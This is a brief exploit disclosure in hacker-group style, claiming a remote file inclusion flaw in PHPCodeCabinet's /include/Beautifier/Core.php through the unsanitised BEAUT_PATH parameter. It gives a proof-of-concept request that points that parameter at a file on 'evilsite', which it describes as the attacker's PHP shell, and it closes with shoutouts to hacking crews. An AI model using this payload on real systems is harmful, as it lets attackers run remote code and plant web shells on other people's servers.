>From Minion:
PHPCodeCabinet (all versions) is vulnerable to a remote file include.
The vulnerable code is in /include/Beautifier/Core.php
an $BEAUT_PATH Was not properly scrubbed, so they got owned.
Proof of concept:
target phpcodecabinet
directory/include/Beautifier/Core.php?BEAUT_PATH=evilsite/Beautifier/HFile.php
HFile.php would be your php shell.
Shouts to XoRcrew & Disruptiv.